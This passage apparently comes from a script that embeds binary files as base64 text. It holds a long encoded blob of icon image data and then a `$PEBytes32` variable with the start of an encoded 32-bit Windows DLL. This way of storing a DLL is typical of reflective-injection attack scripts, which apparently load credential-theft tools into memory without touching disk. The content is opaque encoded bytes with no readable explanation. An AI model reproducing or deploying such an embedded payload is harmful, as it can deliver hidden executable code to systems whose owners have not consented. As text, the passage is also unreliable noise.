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mq/zPIqv87yq//MMSt/yi9rf8vu7H/OLm0/zGsqf82o6P/M6Cf/0Glp/88paX/NaGg/zOuqv80ubH/Mrmv/z/EvP+k1tX/eoF7/x4vHP82QTX/RlBK/2x0cP+jpKP/rams/7m2uv++v8L/ys3Q/+Di4v/T1ti8SZmTty7Prv81y6z/Pcyw/zrHrP81xLD/Lbyv/yy2rv84trL/O5KZ/ypicP81gIz/L2hz/y94gv8sZ3H/PZGX/zazrv8vtq//I7Co/37T0P/CxMb/rre6/8bO0f/V5Ob/zOvr/6Xo3/+l3+L/hLPJ/4ervv+Srr7/T3KO/zJJX1NCqpq7Ls+u/zbLrP87yqz/Psmv/zvGtP8vuq7/LbKq/y2Nkf83f4r/OX6N/z6Il/8tcYH/M4aV/zB7i/89hJL/MYCJ/yaFhv8xt7P/NLu4/0DCwf9Sycf/WdLL/1vWy/9q3tD/buLR/37u3/85o7v/El6E/x1jif8VSG3/ME9qcUitm8Mv0K//Nsqr/zvKrP9Cy7H/P8a0/zjAtv8rrKb/KX2B/y1sef8xeYr/PJao/0quv/9KssH/SK+8/z2hrv8qbXz/K3V8/y2no/8wtLH/LrOw/zq+u/9JysT/VNLJ/1/Yy/9q39D/fefX/3zo4/8tjaz/FmCK/xVNcv8xTmeJVrGhuyfMqf83yan/Ps2v/zrKrv8zwKr/Mban/zKinf8+kpf/MXGB/ypziP9PrcD/k9vr/5Lb7P+I1eX/PKa3/y5+j/8rbn3/MoKM/y2bm/80sK7/M7ew/zK7sv9Ly8P/XtTL/23d0P9y49T/g+nZ/5Ho4v86f5z/EUpw/ylLZ6pWloqVLs+u/0DPsf9CzrD/Osms/zjDrP83tqf/PJiX/z5/if8zdIf/N4mf/33M3f+j3vD/qd/x/67k8/9txNP/KoOU/zGXp/8hTmD/Lmdw/zajpf8qrqj/M7y0/1TMyP9m1M7/bNrQ/27f0v955tj/n/Pm/2Smtf8SUHj/HkJft22OiWA60LL/P8+w/0fOsP9DzLD/PMWt/zO4qP86npv/OH+H/zRxgf86lKn/hNDh/6Te8P+v4fL/sOLz/6nj8v9yz93/OKe0/zaRof8sYGz/LpGQ/y2tqP82urT/RMS//1zQy/9j1s7/cd7T/3zm2f+L7uD/l9za/yRcfv8aRWe5naGiHEjFrPI80LD/Rc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QQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpQBQBQAQAQAA0KDYoOCg6KDwoPigAKEIoRChGKEgoSihMKE4oUChSKFQoVihYKFooXCheKGAoYihkKGYoaChqKGwobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJYomCiaKJwoniigKKIopCimKKgoqiisKK4osCiyKLQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo1CjWKNgo2ijcKN4o4CjiKOQo5ijoKOoo7CjuKPAo8ij0KNQqFioYKhoqHCoeKiAqIiokKiYqKCoqKiwqLiowKjIqNCo2KjwqPioAKkIqRCpGKkgqSipMKk4qUCpSKlQqVipYKloqXCpAGAFABAAAADoovCi+KIAowBwBQAsAAAAKKAwoNCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiWK1grQAAAMAFAIQAAAAArgiuEK4YriCuKK4wrjiuQK5IrlCuWK5grmiucK54roCuiK6QrpiuoK6orrCuuK7Arsiu0K7YruCu6K7wrviuAK8IrxCvGK8gryivMK84r0CvSK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8iv0K/Yr+Cv6K/wr/ivANAFABgAAAAAoAigEKAYoCCgKKAwoAAAAJAGADQBAAAAoDCgaKCgoNig4KDooPCg+KAAoQihGKFIoXChmKHQoRiiQKJwonii4KLwosij0KPYo+Cj6KPwo/ijAKQIpBCkGKQopDCkOKRApEikUKRYpGCkaKSQpKCkUKjQqQiqEKooqjCqQKpIqlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrAqsiq0KrYquCq6KrwqviqAKsIqxCrGKsgqyirMKs4q0CrSKtQq1irYKtoq3CreKuAq4irkKuoq7CruKvAq8ir0KvYq+Cr6Kvwq/irAKwIrBCsGKwgrCisMKw4rECsSKxQrFisYKxorHCseKyArIiskKyYrKCsqKywrLiswKzIrNCs2KzgrOis8Kz4rGitiK2orcit6K0orkCuSK5QrliuYK5ornCuAAAAoAYAwAAAABCkGKUopTilSKVYpWileKWIpZilqKW4pcil2KXopfilCKYYpiimOKZIplimaKZ4poimmKaoprimyKbYpmCpaKlwqXipgKmIqZCpmKmgqaipsKm4qcCpyKnQqdip4KnoqfCp+KkAqgiqEKoYqiCqKKowqjiqQKpIqlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrQqtiq4KroqvCq+KoAqwirEKsYqzCuYK7AruiuEK9Ar6CvAAAAsAYAkAAAAACgUKCgoOCgCKEwoVihgKGwodihAKIwopCi4KKYo6CjqKOwo7ijwKPIo9Cj2KPgo+ij8KP4owCkCKQQpBikIKQopDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNikKKVQpbCl0KUApmCmkKbwplCnoKfwp0CoiKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" - $PEBytes32 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACOfSHkyhxPt8ocT7fKHE+3WVLXt8scT7elatG33BxPt6Vq5Lf2HE+3pWrlt2wcT7fDZNy32RxPt8ocTrceHE+3pWrgt/kcT7elatS3yxxPt6Vq1bfLHE+3pWrSt8scT7dSaWNoyhxPtwAAAAAAAAAAAAAAAAAAAABQRQAATAEFACzXSVIAAAAAAAAAAOAAAiELAQoAAMYDAACKAgAAAAAATnoCAAAQAAAA4AMAAAAAEAAQAAAAAgAABQABAAAAAAAFAAEAAAAAAACgBgAABAAAAAAAAAMAQAEAABAAABAAAAAAEAAAEAAAAAAAABAAAAAw8QQAYAAAAPzcBADIAAAAAFAFAMjxAAAAAAAAAAAAAAAAAAAAAAAAAFAGAEgxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFiqBABAAAAAAAAAAAAAAAAA4AMARAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAAcQDAAAQAAAAxgMAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAJARAQAA4AMAABIBAADKAwAAAAAAAAAAAAAAAABAAABALmRhdGEAAABEQgAAAAAFAAAgAAAA3AQAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAyPEAAABQBQAA8gAAAPwEAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAADpBAAAAUAYAAEIAAADuBQAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMcBZOQDEOmuPAIAVYvsVovxxwZk5AMQ6J08AgD2RQgBdAdW6KZBAgBZi8ZeXcIEAFaF0nQRZoswZjsxdQ2DwAKDwQJKde8zwF7DD7cAZjsBXhvAg+D+QMNVi+xWi/HoVjwCAPZFCAF0B1boX0ECAFmLxl5dwgQAVYvsg+wMU1Yz21OL8egwIAIAiV4EiF4IiV4MiF4QiV4UiF4YiV4ciF4gOV0IdSiNRQhQjU30x0UIABQEEOiGOwIAaFjEBBCNRfRQx0X0GOUDEOiDcgIA/3UIVugxHQIAWVmLxl5bycIEAFaL8VboqxwCAItGHFmFwHQHUOi5PwIAWYNmHACLRhSFwHQHUOinPwIAWYNmFACLRgyFwHQHUOiVPwIAWYNmDACLRgSFwHQHUOiDPwIAWYNmBACLzl7pph8CAFWL7Fb/dQiL8eiiOwIAxwYY5QMQi8ZeXcIEAFWL7FFWi/GDPgB1JGoAjU386E0fAgCDPgB1Df8FhB4FEKGEHgUQiQaNTfzoWx8CAIsGXsnD